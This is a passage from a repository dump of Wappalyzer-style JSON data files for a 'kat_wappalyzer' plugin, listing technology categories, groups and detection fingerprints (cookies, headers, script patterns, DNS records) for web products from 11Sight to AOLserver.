\"groups\": [\n      4\n    ],\n    \"name\": \"Webmail\",\n    \"priority\": 2\n  },\n  \"31\": {\n    \"groups\": [\n      7\n    ],\n    \"name\": \"CDN\",\n    \"priority\": 9\n  },\n  \"32\": {\n    \"groups\": [\n      2\n    ],\n    \"name\": \"Marketing automation\",\n    \"priority\": 9\n  },\n  \"33\": {\n    \"groups\": [\n      7\n    ],\n    \"name\": \"Web server extensions\",\n    \"priority\": 7\n  },\n  \"34\": {\n    \"groups\": [\n      7\n    ],\n    \"name\": \"Databases\",\n    \"priority\": 5\n  },\n  \"35\": {\n    \"groups\": [\n      17\n    ],\n    \"name\": \"Maps\",\n    \"priority\": 6\n  },\n  \"36\": {\n    \"groups\": [\n      2\n    ],\n    \"name\": \"Advertising\",\n    \"priority\": 9\n  },\n  \"37\": {\n    \"groups\": [\n      7\n    ],\n    \"name\": \"Network devices\",\n    \"priority\": 2\n  },\n  \"38\": {\n    \"groups\": [\n      10,\n      7\n    ],\n    \"name\": \"Media servers\",\n    \"priority\": 1\n  },\n  \"39\": {\n    \"groups\": [\n      4\n    ],\n    \"name\": \"Webcams\",\n    \"priority\": 9\n  },\n  \"41\": {\n    \"groups\": [\n      1\n    ],\n    \"name\": \"Payment processors\",\n    \"priority\": 8\n  },\n  \"42\": {\n    \"groups\": [\n      8\n    ],\n    \"name\": \"Tag managers\",\n    \"priority\": 9\n  },\n  \"44\": {\n    \"groups\": [\n      9\n    ],\n    \"name\": \"CI\",\n    \"priority\": 3\n  },\n  \"45\": {\n    \"groups\": [\n      7\n    ],\n    \"name\": \"Control systems\",\n    \"priority\": 2\n  },\n  \"46\": {\n    \"groups\": [\n      4\n    ],\n    \"name\": \"Remote access\",\n    \"priority\": 1\n  },\n  \"47\": {\n    \"groups\": [\n      9\n    ],\n    \"name\": \"Development\",\n    \"priority\": 2\n  },\n  \"48\": {\n    \"groups\": [\n      10\n    ],\n    \"name\": \"Network storage\",\n    \"priority\": 2\n  },\n  \"49\": {\n    \"groups\": [\n      3\n    ],\n    \"name\": \"Feed readers\",\n    \"priority\": 1\n  },\n  \"50\": {\n    \"groups\": [\n      3\n    ],\n    \"name\": \"DMS\",\n    \"priority\": 1\n  },\n  \"51\": {\n    \"groups\": [\n      9\n    ],\n    \"name\": \"Page builders\",\n    \"priority\": 1\n  },\n  \"52\": {\n    \"groups\": [\n      4,\n      16\n    ],\n    \"name\": \"Live chat\",\n    \"priority\": 9\n  },\n  \"53\": {\n    \"groups\": [\n      2,\n      16\n    ],\n    \"name\": \"CRM\",\n    \"priority\": 5\n  },\n  \"54\": {\n    \"groups\": [\n      2\n    ],\n    \"name\": \"SEO\",\n    \"priority\": 8\n  },\n  \"55\": {\n    \"groups\": [\n      16\n    ],\n    \"name\": \"Accounting\",\n    \"priority\": 1\n  },\n  \"56\": {\n    \"groups\": [\n      5\n    ],\n    \"name\": \"Cryptominers\",\n    \"priority\": 5\n  },\n  \"57\": {\n    \"groups\": [\n      9\n    ],\n    \"name\": \"Static site generator\",\n    \"priority\": 1\n  },\n  \"58\": {\n    \"groups\": [\n      6\n    ],\n    \"name\": \"User onboarding\",\n    \"priority\": 8\n  },\n  \"59\": {\n    \"groups\": [\n      9\n    ],\n    \"name\": \"JavaScript libraries\",\n    \"priority\": 9\n  },\n  \"60\": {\n    \"groups\": [\n      7\n    ],\n    \"name\": \"Containers\",\n    \"priority\": 8\n  },\n  \"62\": {\n    \"groups\": [\n      7\n    ],\n    \"name\": \"PaaS\",\n    \"priority\": 8\n  },\n  \"63\": {\n    \"groups\": [\n      7\n    ],\n    \"name\": \"IaaS\",\n    \"priority\": 8\n  },\n  \"64\": {\n    \"groups\": [\n      7\n    ],\n    \"name\": \"Reverse proxies\",\n    \"priority\": 7\n  },\n  \"65\": {\n    \"groups\": [\n      7\n    ],\n    \"name\": \"Load balancers\",\n    \"priority\": 7\n  },\n  \"66\": {\n    \"groups\": [\n      9\n    ],\n    \"name\": \"UI frameworks\",\n    \"priority\": 7\n  },\n  \"67\": {\n    \"groups\": [\n      13\n    ],\n    \"name\": \"Cookie compliance\",\n    \"priority\": 9\n  },\n  \"68\": {\n    \"groups\": [\n      9\n    ],\n    \"name\": \"Accessibility\",\n    \"priority\": 9\n  },\n  \"69\": {\n    \"groups\": [\n      11\n    ],\n    \"name\": \"Authentication\",\n    \"priority\": 6\n  },\n  \"70\": {\n    \"groups\": [\n      11\n    ],\n    \"name\": \"SSL/TLS certificate authorities\",\n    \"priority\": 9\n  },\n  \"71\": {\n    \"groups\": [\n      2\n    ],\n    \"name\": \"Affiliate programs\",\n    \"priority\": 9\n  },\n  \"72\": {\n    \"groups\": [\n      14\n    ],\n    \"name\": \"Appointment scheduling\",\n    \"priority\": 9\n  },\n  \"73\": {\n    \"groups\": [\n      8\n    ],\n    \"name\": \"Surveys\",\n    \"priority\": 9\n  },\n  \"74\": {\n    \"groups\": [\n      8\n    ],\n    \"name\": \"A/B Testing\",\n    \"priority\": 9\n  },\n  \"75\": {\n    \"groups\": [\n      4,\n      2\n    ],\n    \"name\": \"Email\",\n    \"priority\": 9\n  },\n  \"76\": {\n    \"groups\": [\n      2\n    ],\n    \"name\": \"Personalisation\",\n    \"priority\": 9\n  },\n  \"77\": {\n    \"groups\": [\n      2\n    ],\n    \"name\": \"Retargeting\",\n    \"priority\": 9\n  },\n  \"78\": {\n    \"groups\": [\n      2\n    ],\n    \"name\": \"RUM\",\n    \"priority\": 9\n  },\n  \"79\": {\n    \"groups\": [\n      17\n    ],\n    \"name\": \"Geolocation\",\n    \"priority\": 9\n  },\n  \"80\": {\n    \"groups\": [\n      15\n    ],\n    \"name\": \"WordPress themes\",\n    \"priority\": 7\n  },\n  \"81\": {\n    \"groups\": [\n      15\n    ],\n    \"name\": \"Shopify themes\",\n    \"priority\": 7\n  },\n  \"82\": {\n    \"groups\": [\n      15\n    ],\n    \"name\": \"Drupal themes\",\n    \"priority\": 7\n  },\n  \"83\": {\n    \"groups\": [\n      8\n    ],\n    \"name\": \"Browser fingerprinting\",\n    \"priority\": 9\n  },\n  \"84\": {\n    \"groups\": [\n      1\n    ],\n    \"name\": \"Loyalty & rewards\",\n    \"priority\": 9\n  },\n  \"85\": {\n    \"groups\": [\n      9\n    ],\n    \"name\": \"Feature management\",\n    \"priority\": 9\n  },\n  \"86\": {\n    \"groups\": [\n      2\n    ],\n    \"name\": \"Segmentation\",\n    \"priority\": 9\n  },\n  \"87\": {\n    \"groups\": [\n      15\n    ],\n    \"name\": \"WordPress plugins\",\n    \"priority\": 8\n  },\n  \"88\": {\n    \"groups\": [\n      7\n    ],\n    \"name\": \"Hosting\",\n    \"priority\": 9\n  },\n  \"89\": {\n    \"groups\": [\n      3\n    ],\n    \"name\": \"Translation\",\n    \"priority\": 9\n  },\n  \"90\": {\n    \"groups\": [\n      2,\n      18\n    ],\n    \"name\": \"Reviews\",\n    \"priority\": 9\n  },\n  \"91\": {\n    \"groups\": [\n      1\n    ],\n    \"name\": \"Buy now pay later\",\n    \"priority\": 9\n  },\n  \"92\": {\n    \"groups\": [\n      7\n    ],\n    \"name\": \"Performance\",\n    \"priority\": 9\n  },\n  \"93\": {\n    \"groups\": [\n      14\n    ],\n    \"name\": \"Reservations & delivery\",\n    \"priority\": 9\n  },\n  \"94\": {\n    \"groups\": [\n      2,\n      1\n    ],\n    \"name\": \"Referral marketing\",\n    \"priority\": 9\n  },\n  \"95\": {\n    \"groups\": [\n      10\n    ],\n    \"name\": \"Digital asset management\",\n    \"priority\": 9\n  },\n  \"96\": {\n    \"groups\": [\n      2,\n      18\n    ],\n    \"name\": \"Content curation\",\n    \"priority\": 9\n  },\n  \"97\": {\n    \"groups\": [\n      2,\n      8\n    ],\n    \"name\": \"Customer data platform\",\n    \"priority\": 9\n  },\n  \"98\": {\n    \"groups\": [\n      1\n    ],\n    \"name\": \"Cart abandonment\",\n    \"priority\": 9\n  },\n  \"99\": {\n    \"groups\": [\n      1\n    ],\n    \"name\": \"Shipping carriers\",\n    \"priority\": 9\n  },\n  \"100\": {\n    \"groups\": [\n      15\n    ],\n    \"name\": \"Shopify apps\",\n    \"priority\": 8\n  },\n  \"101\": {\n    \"groups\": [\n      6,\n      16\n    ],\n    \"name\": \"Recruitment & staffing\",\n    \"priority\": 9\n  },\n  \"102\": {\n    \"groups\": [\n      1\n    ],\n    \"name\": \"Returns\",\n    \"priority\": 9\n  },\n  \"103\": {\n    \"groups\": [\n      1,\n      10\n    ],\n    \"name\": \"Livestreaming\",\n    \"priority\": 9\n  },\n  \"104\": {\n    \"groups\": [\n      14\n    ],\n    \"name\": \"Ticket booking\",\n    \"priority\": 9\n  },\n  \"105\": {\n    \"groups\": [\n      10\n    ],\n    \"name\": \"Augmented reality\",\n    \"priority\": 9\n  },\n  \"106\": {\n    \"groups\": [\n      1\n    ],\n    \"name\": \"Cross border ecommerce\",\n    \"priority\": 6\n  },\n  \"107\": {\n    \"groups\": [\n      1\n    ],\n    \"name\": \"Fulfilment\",\n    \"priority\": 6\n  },\n  \"108\": {\n    \"groups\": [\n      1\n    ],\n    \"name\": \"Ecommerce frontends\",\n    \"priority\": 6\n  },\n  \"109\": {\n    \"groups\": [\n      6\n    ],\n    \"name\": \"Domain parking\",\n    \"priority\": 9\n  },\n  \"110\": {\n    \"groups\": [\n      8\n    ],\n    \"name\": \"Form builders\",\n    \"priority\": 8\n  },\n  \"111\": {\n    \"groups\": [\n      6\n    ],\n    \"name\": \"Fundraising & donations\",\n    \"priority\": 9\n  }\n}\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_wappalyzer/data/groups.json",
    "content": "{\n  \"1\": {\n    \"name\": \"Sales\"\n  },\n  \"2\": {\n    \"name\": \"Marketing\"\n  },\n  \"3\": {\n    \"name\": \"Content\"\n  },\n  \"4\": {\n    \"name\": \"Communication\"\n  },\n  \"5\": {\n    \"name\": \"Utilities\"\n  },\n  \"6\": {\n    \"name\": \"Other\"\n  },\n  \"7\": {\n    \"name\": \"Servers\"\n  },\n  \"8\": {\n    \"name\": \"Analytics\"\n  },\n  \"9\": {\n    \"name\": \"Web development\"\n  },\n  \"10\": {\n    \"name\": \"Media\"\n  },\n  \"11\": {\n    \"name\": \"Security\"\n  },\n  \"13\": {\n    \"name\": \"Privacy\"\n  },\n  \"14\": {\n    \"name\": \"Booking\"\n  },\n  \"15\": {\n    \"name\": \"Add-ons\"\n  },\n  \"16\": {\n    \"name\": \"Business tools\"\n  },\n  \"17\": {\n    \"name\": \"Location\"\n  },\n  \"18\": {\n    \"name\": \"User generated content\"\n  }\n}\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_wappalyzer/data/technologies/_.json",
    "content": "{\n  \"11Sight\": {\n    \"cats\": [\n      52,\n      53\n    ],\n    \"description\": \"11Sight is an AI-powered, omnichannel platform enabling users to receive inbound video calls from any online channel, facilitating sales conversations and lead conversions.\",\n    \"icon\": \"11Sight.svg\",\n    \"js\": {\n      \"elevensight\": \"\",\n      \"elevensightApp\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"app\\\\.11sight\\\\.com/\"\n    ],\n    \"website\": \"https://www.11sight.com\"\n  },\n  \"1C-Bitrix\": {\n    \"cats\": [\n      1,\n      6\n    ],\n    \"cookies\": {\n      \"BITRIX_SM_GUEST_ID\": \"\",\n      \"BITRIX_SM_LAST_IP\": \"\",\n      \"BITRIX_SM_SALE_UID\": \"\"\n    },\n    \"description\": \"1C-Bitrix is a system of web project management, universal software for the creation, support and successful development of corporate websites and online stores.\",\n    \"headers\": {\n      \"Set-Cookie\": \"BITRIX_\",\n      \"X-Powered-CMS\": \"Bitrix Site Manager\"\n    },\n    \"icon\": \"1C-Bitrix.svg\",\n    \"implies\": [\n      \"PHP\"\n    ],\n    \"pricing\": [\n      \"onetime\",\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"bitrix(?:\\\\.info/|/js/main/core)\"\n    ],\n    \"website\": \"https://www.1c-bitrix.ru\"\n  },\n  \"24nettbutikk\": {\n    \"cats\": [\n      6\n    ],\n    \"cookies\": {\n      \" _gat_24nb\": \"\\\\;confidence:50\",\n      \"24nb\": \"\\\\;confidence:50\"\n    },\n    \"description\": \"24nettbutikk is an ecommerce platform from Norway.\",\n    \"icon\": \"24nettbutikk.svg\",\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"requires\": [\n      \"Cart Functionality\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.24nettbutikk.no\"\n  },\n  \"2B Advice\": {\n    \"cats\": [\n      67\n    ],\n    \"description\": \"2B Advice provides a plug-in to manage GDPR cookie consent.\",\n    \"icon\": \"2badvice.png\",\n    \"js\": {\n      \"BBCookieControler\": \"\"\n    },\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"2badvice-cdn\\\\.azureedge\\\\.net\"\n    ],\n    \"website\": \"https://www.2b-advice.com/en/data-privacy-software/cookie-consent-plugin/\"\n  },\n  \"2ClickShop\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"2ClickShop is an ecommerce platform integrated with ERP systems, catering to both B2B and B2C transactions.\",\n    \"icon\": \"2ClickShop.svg\",\n    \"meta\": {\n      \"author\": \"^Trol Intermedia / 2ClickShop$\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://2click.pl\"\n  },\n  \"30namaPlayer\": {\n    \"cats\": [\n      14\n    ],\n    \"description\": \"30namaPlayer is a modified version of Video.js to work with videos on HTML using javascript.\",\n    \"dom\": [\n      \"section[class*='player30nama']\"\n    ],\n    \"icon\": \"30namaPlayer.png\",\n    \"website\": \"https://30nama.com/\"\n  },\n  \"33Across\": {\n    \"cats\": [\n      36\n    ],\n    \"description\": \"33Across is a technology company focused on solving the challenge of consumer attention for automated advertising.\",\n    \"dom\": [\n      \"iframe[src*='.33across.com'], link[href*='.33across.com'], link[href*='.tynt.com']\"\n    ],\n    \"icon\": \"33Across.svg\",\n    \"js\": {\n      \"Tynt\": \"\"\n    },\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.33across\\\\.com/\",\n      \"\\\\.tynt\\\\.com/\"\n    ],\n    \"website\": \"https://www.33across.com\",\n    \"xhr\": [\n      \"\\\\.33across\\\\.com\"\n    ]\n  },\n  \"34SP.com\": {\n    \"cats\": [\n      88\n    ],\n    \"description\": \"34SP.com specialises in website hosting, discount domain names, low cost VPS servers and dedicated servers.\",\n    \"dns\": {\n      \"SOA\": \"ns(?:\\\\d+)?\\\\.34sp\\\\.com\"\n    },\n    \"icon\": \"34SP.com.svg\",\n    \"pricing\": [\n      \"recurring\",\n      \"low\"\n    ],\n    \"website\": \"https://www.34sp.com\"\n  },\n  \"4-Tell\": {\n    \"cats\": [\n      76\n    ],\n    \"cookies\": {\n      \"4Tell\": \"\",\n      \"4TellCart\": \"\",\n      \"4TellSession\": \"\"\n    },\n    \"description\": \"4-Tell is an ecommerce software company for retailers with AI-powered personalisation and recommendations products.\",\n    \"icon\": \"4-Tell.svg\",\n    \"js\": {\n      \"_4TellBoost\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"4tellcdn\\\\.azureedge\\\\.net\"\n    ],\n    \"website\": \"https://4-tell.com\"\n  },\n  \"42stores\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"42stores is a French SaaS ecommerce solution that was established in 2008. It offers a range of features such as monitoring, customer support, and regular updates. The platform is known for its flexibility and modularity, making it possible to integrate with various ERP systems.\",\n    \"headers\": {\n      \"Powered-By\": \"^42stores$\"\n    },\n    \"icon\": \"42stores.svg\",\n    \"pricing\": [\n      \"poa\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.42stores.com\"\n  },\n  \"4Partners\": {\n    \"cats\": [\n      99\n    ],\n    \"description\": \"4Partners is an international dropshipping service that allows you to launch a ready-made online store.\",\n    \"icon\": \"4Partners.svg\",\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"website\": \"https://4partners.io/en/\"\n  },\n  \"4Partners CMS\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"4Partners CMS is a cloud-based solution designed for ecommerce shops.\",\n    \"icon\": \"4Partners.svg\",\n    \"implies\": [\n      \"PHP\",\n      \"4Partners\",\n      \"Nginx\"\n    ],\n    \"meta\": {\n      \"author\": \"^4CMS$\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"website\": \"https://4partners.io/en/4p-cms\"\n  },\n  \"51.LA\": {\n    \"cats\": [\n      10\n    ],\n    \"description\": \"51.LA is a Chinese based website visitor counter.\",\n    \"icon\": \"51.LA.png\",\n    \"js\": {\n      \"LA.config.ck\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"recurring\",\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.51.la\"\n  },\n  \"5centsCDN\": {\n    \"cats\": [\n      31\n    ],\n    \"description\": \"5centsCDN is a content delivery networks service provider.\",\n    \"dom\": [\n      \"link[href*='.5centscdn.com/']\"\n    ],\n    \"headers\": {\n      \"x-cdn\": \"^5centsCDN$\"\n    },\n    \"icon\": \"5centsCDN.svg\",\n    \"pricing\": [\n      \"recurring\",\n      \"low\"\n    ],\n    \"scriptSrc\": [\n      \"\\\\.5centscdn\\\\.com/\"\n    ],\n    \"website\": \"https://www.5centscdn.net\"\n  },\n  \"6sense\": {\n    \"cats\": [\n      32,\n      76\n    ],\n    \"description\": \"6sense is a B2B predictive intelligence platform for marketing and sales.\",\n    \"headers\": {\n      \"Content-Security-Policy\": \"\\\\.6sc\\\\.co/\"\n    },\n    \"icon\": \"6sense.svg\",\n    \"pricing\": [\n      \"poa\",\n      \"high\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.6sc\\\\.co/\"\n    ],\n    \"website\": \"https://6sense.com\"\n  },\n  \"7Shifts\": {\n    \"cats\": [\n      101\n    ],\n    \"description\": \"7Shifts is an all-in-one team management platform designed to streamline restaurant operations, providing tools for scheduling, communication, and task management to simplify day-to-day activities for both managers and staff.\",\n    \"dom\": [\n      \"a[href*='7shifts.com/'] > img[src*='.7shifts.com/']\"\n    ],\n    \"icon\": \"7Shifts.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.7shifts.com\"\n  },\n  \"8base\": {\n    \"cats\": [\n      3,\n      62\n    ],\n    \"description\": \"8base is a low-code development platform for building and running enterprise-grade digital products including SaaS solutions, marketplaces and other go-to-market applications.\",\n    \"icon\": \"8base.svg\",\n    \"pricing\": [\n      \"low\",\n      \"freemium\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://8base.com\",\n    \"xhr\": [\n      \"api\\\\.8base\\\\.com\"\n    ]\n  },\n  \"<model-viewer>\": {\n    \"cats\": [\n      105\n    ],\n    \"description\": \"<model-viewer> is an open-source web component developed by Google and maintained through GitHub. <model-viewer> aims at putting 3D content on the web easily with a few lines of HTML code. This was first introduced with Chrome 72 in July 2019 and enables users to view 3D in the browser and mobile devices.\",\n    \"dom\": [\n      \"model-viewer\"\n    ],\n    \"icon\": \"model-viewer.svg\",\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"/model-viewer/dist/model-viewer\\\\.min\\\\.js\"\n    ],\n    \"website\": \"https://modelviewer.dev\"\n  },\n  \"@sulu/web\": {\n    \"cats\": [\n      59\n    ],\n    \"icon\": \"Sulu.svg\",\n    \"js\": {\n      \"web.startComponents\": \"\"\n    },\n    \"website\": \"https://github.com/sulu/web-js\"\n  },\n  \"_hyperscript\": {\n    \"cats\": [\n      59\n    ],\n    \"description\": \"_hyperscript is a scripting language for adding interactivity to the front-end.\",\n    \"icon\": \"_hyperscript.png\",\n    \"js\": {\n      \"_hyperscript\": \"\"\n    },\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"//unpkg\\\\.com/hyperscript\\\\.org@([\\\\d\\\\.]+)\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://hyperscript.org\"\n  }\n}\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_wappalyzer/data/technologies/a.json",
    "content": "{\n  \"A-Frame\": {\n    \"cats\": [\n      25\n    ],\n    \"html\": [\n      \"<a-scene[^<>]*>\"\n    ],\n    \"icon\": \"A-Frame.svg\",\n    \"implies\": [\n      \"Three.js\"\n    ],\n    \"js\": {\n      \"AFRAME.version\": \"^(.+)$\\\\;version:\\\\1\"\n    },\n    \"scriptSrc\": [\n      \"/?([\\\\d.]+)?/aframe(?:\\\\.min)?\\\\.js\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://aframe.io\"\n  },\n  \"A2Z Events\": {\n    \"cats\": [\n      72\n    ],\n    \"description\": \"A2Z Events is an event management solution designed by and for event professionals.\",\n    \"icon\": \"A2ZEvents.svg\",\n    \"js\": {\n      \"a2z.Widget\": \"\",\n      \"a2zAnalytics\": \"\"\n    },\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.a2zinc\\\\.net/\"\n    ],\n    \"website\": \"https://mya2zevents.com\"\n  },\n  \"A8.net\": {\n    \"cats\": [\n      71\n    ],\n    \"description\": \" A8.net is an affiliate marketing network.\",\n    \"dom\": [\n      \"img[src*='.a8.net']\"\n    ],\n    \"icon\": \"A8.net.svg\",\n    \"js\": {\n      \"A8salesCookieRepository\": \"\",\n      \"a8sales\": \"\",\n      \"map_A8\": \"\"\n    },\n    \"scriptSrc\": [\n      \"statics\\\\.a8\\\\.net\"\n    ],\n    \"website\": \"https://www.a8.net\"\n  },\n  \"AB Tasty\": {\n    \"cats\": [\n      74\n    ],\n    \"description\": \"AB Tasty is a customer experience optimisation company. AB Tasty offers AI-driven experimentation, personalisation, and product optimisation platforms for user testing.\",\n    \"icon\": \"AB Tasty.svg\",\n    \"js\": {\n      \"ABTasty\": \"\",\n      \"_abtasty\": \"\",\n      \"loadABTasty\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"try\\\\.abtasty\\\\.com\"\n    ],\n    \"website\": \"https://www.abtasty.com\"\n  },\n  \"ABLyft\": {\n    \"cats\": [\n      74\n    ],\n    \"description\": \"ABlyft is an A/B-Testing Platform made for developers.\",\n    \"icon\": \"ABlyft.svg\",\n    \"js\": {\n      \"ablyft.get\": \"\",\n      \"ablyftClickListener\": \"\",\n      \"ablyftEventQueueInterv\": \"\",\n      \"ablyftStopQueue\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://ablyft.com\"\n  },\n  \"ABOUT YOU Commerce Suite\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"ABOUT YOU Commerce Suite is an enterprise ready infrastructure solution designed for ecommerce companies.\",\n    \"dom\": [\n      \"link[href*='cdn.aboutyou.de/'], img[src*='cdn.aboutyou.de/']\"\n    ],\n    \"icon\": \"ABOUT YOU Commerce Suite.svg\",\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://commercesuite.aboutyou.com\"\n  },\n  \"ABP Framework\": {\n    \"cats\": [\n      18\n    ],\n    \"description\": \"ABP Framework is a complete infrastructure to create modern web applications by following the best practices and conventions of software development.\",\n    \"icon\": \"abp.svg\",\n    \"implies\": [\n      \"Microsoft ASP.NET\"\n    ],\n    \"js\": {\n      \"abp.timing.timeZone\": \"\",\n      \"abp.version\": \"(.*)\\\\;version:\\\\1\"\n    },\n    \"oss\": true,\n    \"website\": \"https://abp.io/\"\n  },\n  \"AD EBiS\": {\n    \"cats\": [\n      36,\n      32\n    ],\n    \"description\": \"AD EBiS is an advertising and marketing platform that offers advertisement effectiveness measurement, access and user analysis.\",\n    \"dom\": [\n      \"a[href*='.ebis.ne.jp/'][target='_blank']\"\n    ],\n    \"icon\": \"ebis.svg\",\n    \"js\": {\n      \"ebis.c.pageurl\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.ebis\\\\.ne\\\\.jp/\"\n    ],\n    \"website\": \"https://www.ebis.ne.jp\"\n  },\n  \"ADAPT\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"ADAPT is a subscription-based app that allows anyone to create video focused online store in minutes on their phone.\",\n    \"icon\": \"ADAPT.svg\",\n    \"meta\": {\n      \"image\": \"assets\\\\.adapt\\\\.ws/\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"freemium\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://adapt.ws\"\n  },\n  \"ADFOX\": {\n    \"cats\": [\n      36\n    ],\n    \"description\": \"ADFOX is an advertising management platform for media publishers.\",\n    \"icon\": \"ADFOX.svg\",\n    \"js\": {\n      \"AdFox_getCodeScript\": \"\",\n      \"Site.adFoxParams\": \"\",\n      \"adFoxParams\": \"\",\n      \"adfoxAsyncParams\": \"\",\n      \"adfoxBiddersMap\": \"\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://adfox.yandex.ru\"\n  },\n  \"AFThemes CoverNews\": {\n    \"cats\": [\n      80\n    ],\n    \"description\": \"AFThemes CoverNews is a clean and elegant free WordPress theme that is perfect for online blog and magazine.\",\n    \"icon\": \"AFThemes.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"onetime\",\n      \"recurring\",\n      \"low\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"/wp-content/themes/covernews(?:-pro)?/\"\n    ],\n    \"website\": \"https://afthemes.com/products/covernews\"\n  },\n  \"AI LOG\": {\n    \"cats\": [\n      32\n    ],\n    \"description\": \"AI LOG is a marketing automation and fraud click prevention tool.\",\n    \"icon\": \"AI-LOG.svg\",\n    \"js\": {\n      \"ai_getScript_load\": \"\"\n    },\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.ai-log\\\\.biz/\"\n    ],\n    \"website\": \"https://www.ai-log.biz/\"\n  },\n  \"AIMEOS\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Aimeos is a PHP ecommerce framework designed for custom online shops, multi-vendor marketplaces, and complex B2B applications.\",\n    \"dom\": [\n      \"link[href*='aimeos.com']\"\n    ],\n    \"icon\": \"aimeos.svg\",\n    \"js\": {\n      \"Aimeos\": \"\",\n      \"AimeosAccountFavorite\": \"\",\n      \"AimeosBasketMini\": \"\",\n      \"AimeosCatalog\": \"\"\n    },\n    \"oss\": true,\n    \"website\": \"https://aimeos.org\"\n  },\n  \"ALL-INKL\": {\n    \"cats\": [\n      88\n    ],\n    \"description\": \"ALL-INKL is a German-based web hosting provider that promises to offer high-performance services for fair prices.\",\n    \"dns\": {\n      \"SOA\": \"\\\\.kasserver\\\\.com\"\n    },\n    \"icon\": \"ALL-INKL.svg\",\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"website\": \"https://all-inkl.com\"\n  },\n  \"AMP\": {\n    \"cats\": [\n      12\n    ],\n    \"description\": \"AMP, originally created by Google, is an open-source HTML framework developed by the AMP open-source Project. AMP is designed to help webpages load faster.\",\n    \"html\": [\n      \"<html[^>]* (?:amp|⚡)[^-]\",\n      \"<link rel=\\\"amphtml\\\"\"\n    ],\n    \"icon\": \"Accelerated-Mobile-Pages.svg\",\n    \"js\": {\n      \"AMP_CONFIG\": \"\",\n      \"AMP_EXP\": \"\",\n      \"__AMP_BASE_CE_CLASS\": \"\",\n      \"__AMP_EXTENDED_ELEMENTS\": \"\",\n      \"__AMP_TAG\": \"\",\n      \"ampInaboxIframes\": \"\",\n      \"ampInaboxPendingMessages\": \"\"\n    },\n    \"oss\": true,\n    \"website\": \"https://www.amp.dev\",\n    \"xhr\": [\n      \"cdn\\\\.ampproject\\\\.org\"\n    ]\n  },\n  \"AMP for WordPress\": {\n    \"cats\": [\n      87\n    ],\n    \"cpe\": \"cpe:2.3:a:ampforwp:accelerated_mobile_pages:*:*:*:*:*:wordpress:*:*\",\n    \"description\": \"AMP for WordPress automatically adds Accelerated Mobile Pages (Google AMP Project) functionality to your WordPress site.\",\n    \"dom\": [\n      \"link[href*='/wp-content/plugins/amp/']\"\n    ],\n    \"icon\": \"Accelerated-Mobile-Pages.svg\",\n    \"implies\": [\n      \"AMP\"\n    ],\n    \"meta\": {\n      \"generator\": \"^AMP Plugin v(\\\\d+\\\\.\\\\d+.*)$\\\\;version:\\\\1\"\n    },\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"website\": \"https://amp-wp.org\"\n  },\n  \"ANS\": {\n    \"cats\": [\n      88,\n      62\n    ],\n    \"description\": \"ANS is a UK-based IT services company specializing in cloud computing, managed services, and digital transformation solutions.\",\n    \"dns\": {\n      \"SOA\": \"\\\\.ukfast\\\\.net\"\n    },\n    \"icon\": \"ANS.svg\",\n    \"pricing\": [\n      \"recurring\",\n      \"payg\"\n    ],\n    \"website\": \"https://www.ans.co.uk\"\n  },\n  \"AOLserver\": {\n    \"cats\": [\n      22\n    ],\n    \"cpe\": \"cpe:2.3:a:aol:aolserver:*:*:*:*:*:*:*:*\",\n    \"headers\": {\n      \"Server\": \"AOLserver/?([\\\\d.]+)?\\\\;version:\\\\1\"\n    },\n    \"icon\": \"AOLserver.png\",\n    \"website\": \"https://aolserver.com\"\n  },\n  